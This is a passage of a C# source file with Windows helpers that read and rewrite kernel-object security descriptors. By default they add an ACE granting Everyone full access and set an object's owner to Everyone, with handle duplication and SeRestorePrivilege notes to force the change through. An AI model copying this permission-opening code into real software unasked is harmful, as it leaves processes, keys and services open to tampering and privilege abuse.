// InitializeSecurityDescriptor w/ SECURITY_DESCRIPTOR_REVISION, SetSecurityDescriptorDacl, lastly RegCreateKeyEx w/ the SECURITY_ATTRIBUTES stucture containing the SD
//
// C++ Explanation - Step 4 thru 11
// https://msdn.microsoft.com/en-us/library/ms707085(v=vs.85).aspx
//
// Example on a directory:
// https://stackoverflow.com/questions/690780/how-to-create-directory-with-all-rights-granted-to-everyone
}
/// <summary>
/// Everyone : Full Control
///
/// Adds the specified Access Right permissions into the DACL's ACE for the user Everyone (World SID) or another SID specified.
/// NOTE: Do NOT specify MAXIMUM_ALLOWED, or else no permissions will be granted.
/// Full Control = [xxxx]_ALL_ACCESS | GENERIC_ALL
/// </summary>
/// <param user="objectHandle">An object opened with the READ_CONTROL and WRITE_DAC access right. Also include WRITE_OWNER in the event that the owner needs to be set
/// Additional possibilities for what it needs to be opened with is found here -
/// </param>
/// <param user="accessRightPermissions">Desired access right. DO NOT pass MAXIMUM_ALLOWED, or no permissions will be granted.</param>
/// <param user="allow">Allow or Deny the access right</param>
public static bool AddPermissionsToObject(IntPtr objectHandle, int accessRightPermissions, bool allow = true, WellKnownSidType userSid = WellKnownSidType.WorldSid, bool setObjectDirectlyAlso = true)
{
bool ret = true;
RawSecurityDescriptor currentDaclSDRead;
bool success = GetObjectSecurity(objectHandle, out currentDaclSDRead);
if (success)
{
if (currentDaclSDRead.DiscretionaryAcl == null)
{
Status("[W] [AddPermissionsToObject] DACL is null (no security). Creating a new DACL (RawAcl) to add Everyone");
// Generate a new DACL
const int RevisionNumber = 4; // Unclear what these numbers represent but this value of 4 one is shown here in this VB.net exmaple utilizing AccessControlList() instead of RawAcl() - docs.microsoft.com/en-us/windows/win32/ad/example-code-for-creating-a-security-descriptor
int numberOfEntriesThisACEWillContain = 1;
currentDaclSDRead.DiscretionaryAcl = new RawAcl(RevisionNumber, numberOfEntriesThisACEWillContain);
}
AceQualifier allowedOrDenied;
if (allow)
{
allowedOrDenied = AceQualifier.AccessAllowed;
}
else
{
allowedOrDenied = AceQualifier.AccessDenied;
}
SecurityIdentifier everyoneSid = new SecurityIdentifier(userSid, null);
CommonAce everyoneAce = new CommonAce(AceFlags.None, allowedOrDenied, accessRightPermissions, everyoneSid, false, null);
currentDaclSDRead.DiscretionaryAcl.InsertAce(0, everyoneAce);
// API: SetKernelObjectSecurity
success = SetObjectSecurity(objectHandle, currentDaclSDRead,
setObjectDirectlyAlso: setObjectDirectlyAlso);
if (!success)
{
// Try setting the owner, and then try this again
currentDaclSDRead.Owner = everyoneSid;
success = SetObjectOwner(objectHandle, currentDaclSDRead);
if (success)
{
// Try to change the access right again
success = SetObjectSecurity(objectHandle, currentDaclSDRead,
setObjectDirectlyAlso: setObjectDirectlyAlso);
}
}
}
ret = success;
return ret;
// More info
//
// - Code for .NETs CommonAce - https://referencesource.microsoft.com/#mscorlib/system/security/accesscontrol/ace.cs
//
// - DACL_SECURITY_INFORMATION - What the handle must be opened with for GetKernelObjectSecurity and SetKernelObjectSecurity to succeed in their calls
// SECURITY_INFORMATION - https://msdn.microsoft.com/en-us/library/windows/desktop/aa379573(v=vs.85).aspx
//
// WellKnownSidType.WorldSid = Everyone
// See - https://msdn.microsoft.com/en-us/library/windows/desktop/aa379649(v=vs.85).aspx
}
/// <summary>
/// GetKernelObjectSecurity w DACL_SECURITY_INFORMATION
/// MUST have READ_CONTROL granted to the opened object handle
/// </summary>
public static bool GetObjectSecurity(IntPtr objectHandle, out RawSecurityDescriptor sd)
{
// Originally From: How to prevent users from killing your service or process - http://csharptest.net/1043/how-to-prevent-users-from-killing-your-service-process/
//
// More info on Security Descriptor info from .NET Source - https://referencesource.microsoft.com/#mscorlib/system/security/accesscontrol/securitydescriptor.cs
// Including RawSecurityDescriptor, which is a subclass of GenericSecurityDescriptor
const int DACL_SECURITY_INFORMATION = 0x00000004;
byte[] psd = new byte[0];
uint bufSizeNeeded;
bool success = false;
sd = new RawSecurityDescriptor("");
// Call with 0 size to obtain the actual size needed in bufSizeNeeded
success = GetKernelObjectSecurity(objectHandle, DACL_SECURITY_INFORMATION, psd, 0, out bufSizeNeeded);
int err = Marshal.GetLastWin32Error();
if (err == 5)
{
// Access Denied was returned -- The handle must have not been opened with READ_CONTROL
IntPtr newHandle;
DuplicateHandle(GetCurrentProcess(), objectHandle, GetCurrentProcess(), out newHandle, (uint)ACCESS_MASK.READ_CONTROL, false, 0);
if (newHandle != IntPtr.Zero)
{
CloseHandle(objectHandle);
objectHandle = newHandle;
}
}
if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue)
{
Status("GetObjectSecurity - GetKernelObjectSecurity API didn't return the proper size" + GetLastErrorInfo());
}
else
{
success = GetKernelObjectSecurity(objectHandle, DACL_SECURITY_INFORMATION, psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded);
if (success == false)
{
Status("GetObjectSecurity - GetKernelObjectSecurity API failed. " + GetLastErrorInfo());
}
}
// Use the RawSecurityDescriptor class from System.Security.AccessControl to parse the bytes:
try
{
// Will throw an exception if the psd byte array is of size 0 (such as if GetKernelObjectSecurity fails)
sd = new RawSecurityDescriptor(psd, 0);
}
catch (Exception ex)
{
string s = ex.Source; // Supress warning
Status("[e] [GetObjectSecurity]: Method blew up with a .NET exception: " + ex);
success = false;
}
return success;
}
/// <summary>
/// SetKernelObjectSecurity w DACL_SECURITY_INFORMATION
/// Aug 2018 - doesn't appear that setting the DACL and Owner with just 1 API call works
/// </summary>
public static bool SetObjectSecurity(IntPtr objectHandle, RawSecurityDescriptor SDWithDacl, bool setOwnerToo_NOTWORKING = false, bool setObjectDirectlyAlso = false)
{
// Notice: RawSecurityDescriptor is from .NET 4.5
bool ret = true;
// From SECURITY_INFORMATION - https://msdn.microsoft.com/en-us/library/windows/desktop/aa379573(v=vs.85).aspx
// Declares: https://msdn.microsoft.com/en-us/library/cc234251.aspx
const int DACL_SECURITY_INFORMATION = 0x00000004;
//const int OWNER_SECURITY_INFORMATION = 0x00000001;
byte[] rawSecurityDescriptor = new byte[SDWithDacl.BinaryLength];
SDWithDacl.GetBinaryForm(rawSecurityDescriptor, 0);
int infoToSetFlags = DACL_SECURITY_INFORMATION;
//if (setOwnerToo_NOTWORKING)
//{
// infoToSetFlags |= OWNER_SECURITY_INFORMATION;
//}
bool success = SetKernelObjectSecurity(objectHandle, infoToSetFlags, rawSecurityDescriptor);
if (success == false)
{
Status("SetObjectSecurity - SetKernelObjectSecurity API failed. " + GetLastErrorInfo());
}
if (setObjectDirectlyAlso)
{
var status = NtSetSecurityObject(objectHandle, infoToSetFlags, rawSecurityDescriptor);
if (status != 0)
{
//string whyNT = GetErrorInfoNt(status);
Status("SetObjectSecurity - NtSetSecurityObject API failed to set the Object-specific security. " + GetLastErrorInfo());
}
}
ret = success;
return ret;
}
/// <summary>
/// MUST have READ_CONTROL + WRITE_OWNER granted to the opened object handle, due to calling GetObjectSecurity to get the current DACL for modification
/// SetObjectOwner internal enables SeRestorePrivilege to ensure it can be set.
/// </summary>
public static bool SetObjectOwner(IntPtr objectHandle, WellKnownSidType knownSid)
{
RawSecurityDescriptor currentDaclRead;
bool got = GetObjectSecurity(objectHandle, out currentDaclRead);
SecurityIdentifier sid = new SecurityIdentifier(knownSid, null);
currentDaclRead.Owner = sid;
return SetObjectOwner(objectHandle, currentDaclRead);
}
/// <summary>
/// Sets the owner on an object opened with WRITE_OWNER. If it wasn't then this method will Duplicate the handle and enable WRITE_OWNER.
/// Enables SeRestorePrivilege to ensure it can be set.
/// </summary>
/// <param user="objectHandle">A handle to the object to set the owner on, opened with at least WRITE_OWNER</param>
/// <param user="dacl">If null, then the Owner will be set to everyone</param>
/// <returns></returns>
public static bool SetObjectOwner(IntPtr objectHandle, RawSecurityDescriptor sdWithOwner = null, bool didCallerAlreadyEnable_RestorePriv = false) // RawSecurityDescriptor is from .NET 4.5
{
bool ret = true;
// From SECURITY_INFORMATION - https://msdn.microsoft.com/en-us/library/windows/desktop/aa379573(v=vs.85).aspx
const int OWNER_SECURITY_INFORMATION = 0x00000001;
bool success;
if (sdWithOwner == null)
{
RawSecurityDescriptor currentDaclRead;
success = GetObjectSecurity(objectHandle, out currentDaclRead);
SecurityIdentifier everyoneSid = new SecurityIdentifier(WellKnownSidType.WorldSid, null); // .Value = "S-1-1-0"
currentDaclRead.Owner = everyoneSid;
sdWithOwner = currentDaclRead;
}
byte[] rawSecurityDescriptor = new byte[sdWithOwner.BinaryLength];
sdWithOwner.GetBinaryForm(rawSecurityDescriptor, 0);
if (!didCallerAlreadyEnable_RestorePriv)
{
// Determine if this thread has a token
bool isMyThreadImpersonating = DoesThisThreadHaveAToken();
// REQUIRED - enable SeRestorePrivilege privilege to set the owner on an object
// This is not mentioned on the SECURITY_INFORMATION documentation. The only API I see it on is here
// SetNamedSecurityInfo - https://msdn.microsoft.com/en-us/library/windows/desktop/aa379579(v=vs.85).aspx
// "If the caller does not have the SeRestorePrivilege constant (see Privilege Constants), this SID must be contained in the caller's token, and must have the SE_GROUP_OWNER permission enabled."
//string ownerSetPrivilegeName = "SeRestorePrivilege";
//if (isMyThreadImpersonating)
//{
// EnableThreadPrivilege(ownerSetPrivilegeName); // If this thread is impersonating, then the Thread privilege will be sufficient (if its available)
//}
//else
//{
// EnableProcessPrivilege(ownerSetPrivilegeName); // Also enable on the procsss (if its not in the impersonating thread (it should always), but it is in the process, it will still work
//}
}
success = SetKernelObjectSecurity(objectHandle, OWNER_SECURITY_INFORMATION, rawSecurityDescriptor);
if (success == false)
{
Status("SetObjectSecurity - SetKernelObjectSecurity API failed. " + GetLastErrorInfo());
Status("Reattempting after adding WRITE_OWNER");
// Result when reattempting for setting the owner to Everyone
// SetKernelObjectSecurity API failed. Error: 0x51B (1307) - This security ID may not be assigned as the owner of this object
// This occurs if SeRestorePrivilege is not set - found from - http://stackoverflow.com/questions/17479152/set-file-owner-to-non-existing-user-sid-in-windows
// Odd enough SeTakeOwnershipPrivilege is not required and has no effect.
// This is even with thread impersonation of SYSTEM
//
// Below shows SetKernelObjectSecurity and SetSecurityInfo. They both have the same effect. Leaving in SetSecurityInfo to use as an example if needed
IntPtr newHandle;
uint accessRights = (uint)ACCESS_MASK.WRITE_OWNER;
DuplicateHandle(GetCurrentProcess(), objectHandle, GetCurrentProcess(), out newHandle, accessRights, false, 0);
success = SetKernelObjectSecurity(newHandle, OWNER_SECURITY_INFORMATION, rawSecurityDescriptor);
int err = 0;
if (!success)
{
err = Marshal.GetLastWin32Error();
Status("SetObjectSecurity - SetKernelObjectSecurity API failed. " + GetLastErrorInfo());
}
if (!success && err == 1307) // Error: "This security ID may not be assigned as the owner of this object"
{
byte[] rawOwnerBytes = new byte[sdWithOwner.Owner.BinaryLength];
sdWithOwner.Owner.GetBinaryForm(rawOwnerBytes, 0);
// Same error
uint retErrorCode = SetSecurityInfo(newHandle, SE_OBJECT_TYPE.SE_KERNEL_OBJECT, SECURITY_INFORMATION.Owner, rawOwnerBytes, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
if (retErrorCode != Win32Error.ERROR_SUCCESS)
{
Status("SetObjectSecurity - SetSecurityInfo API failed. " + GetErrorInfo((int)retErrorCode));
}
}
CloseHandle(newHandle);
}
ret = success;
return ret;
}
/// <summary>
/// Calls SetSecurityInfo isntead (ex: for use with service handles) of SetKernelObjectSecurity which only works for standard kernel object handles (Processes, threads, tokens, other handles, file, registry keys)
/// </summary>
public static bool SetObjectOwner_NonStandardHandle(IntPtr objectHandle, SE_OBJECT_TYPE objectType, RawSecurityDescriptor sdWithOwner = null)
{
// From SECURITY_INFORMATION - https://msdn.microsoft.com/en-us/library/windows/desktop/aa379573(v=vs.85).aspx
const int OWNER_SECURITY_INFORMATION = 0x00000001;
bool success;
if (sdWithOwner == null)
{
RawSecurityDescriptor currentDaclRead;
success = GetObjectSecurity(objectHandle, out currentDaclRead);
SecurityIdentifier everyoneSid = new SecurityIdentifier(WellKnownSidType.WorldSid, null); // .Value = "S-1-1-0"
currentDaclRead.Owner = everyoneSid;
sdWithOwner = currentDaclRead;
}
byte[] rawSecurityDescriptor = new byte[sdWithOwner.BinaryLength];
sdWithOwner.GetBinaryForm(rawSecurityDescriptor, 0);
//if (!didCallerAlreadyEnable_RestorePriv)
//{
// // Determine if this thread has a token
// bool isMyThreadImpersonating = DoesThisThreadHaveAToken();
// // REQUIRED - enable SeRestorePrivilege privilege to set the owner on an object
// // This is not mentioned on the SECURITY_INFORMATION documentation. The only API I see it on is here
// // SetNamedSecurityInfo - https://msdn.microsoft.com/en-us/library/windows/desktop/aa379579(v=vs.85).aspx
// // "If the caller does not have the SeRestorePrivilege constant (see Privilege Constants), this SID must be contained in the caller's token, and must have the SE_GROUP_OWNER permission enabled."
// string ownerSetPrivilegeName = "SeRestorePrivilege";
// if (isMyThreadImpersonating)
// {
// EnableThreadPrivilege(ownerSetPrivilegeName); // If this thread is impersonating, then the Thread privilege will be sufficient (if its available)
// }
// else
// {
// EnableProcessPrivilege(ownerSetPrivilegeName); // Also enable on the procsss (if its not in the impersonating thread (it should always), but it is in the process, it will still work
// }
//}
byte[] rawOwnerBytes = new byte[sdWithOwner.Owner.BinaryLength];
sdWithOwner.Owner.GetBinaryForm(rawOwnerBytes, 0);